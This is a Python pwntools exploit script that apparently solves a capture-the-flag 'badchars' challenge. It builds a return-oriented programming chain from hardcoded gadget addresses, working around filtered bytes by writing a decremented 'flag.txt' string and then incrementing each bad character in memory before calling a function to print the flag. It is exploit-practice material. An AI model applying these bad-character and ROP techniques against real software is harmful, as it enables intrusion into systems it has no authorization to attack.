#!/usr/bin/env python3
from pwn import *
from time import sleep


def strfixandcopy(dest, string, badchars, payload):
    badchar_locations = []
    fixed_str = b''
    for n,l in enumerate(string):
        if l in badchars:
            fixed_str += bytes([ord(string[n]) - 1])
            badchar_locations.append(n)
        else:
            fixed_str += bytes([ord(string[n])])

    payload += p64(0x000000000040069c)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    
    payload += fixed_str                # r12
    payload += p64(dest)                # r13
    payload += p64(1)                   # r14
    payload += p64(1)                   # r15 

    payload += p64(0x0000000000400634)  # moves fixed string

    for badchar_location in badchar_locations:
        payload += p64(0x00000000004006a0)  # pop r14, r15
        payload += p64(1)
        payload += p64(dest + badchar_location)
        payload += p64(0x000000000040062c)  #does the adding

    return(payload)
            
prog = process('./badchars')
payload = b''
for c in range(40):
    payload += b'a'


payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
payload += p64(0x00000000004006a3)
payload += p64(0x601be0)
payload += p64(0x0000000000400510)
payload += b"\n"
prog.sendline(payload)

sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()





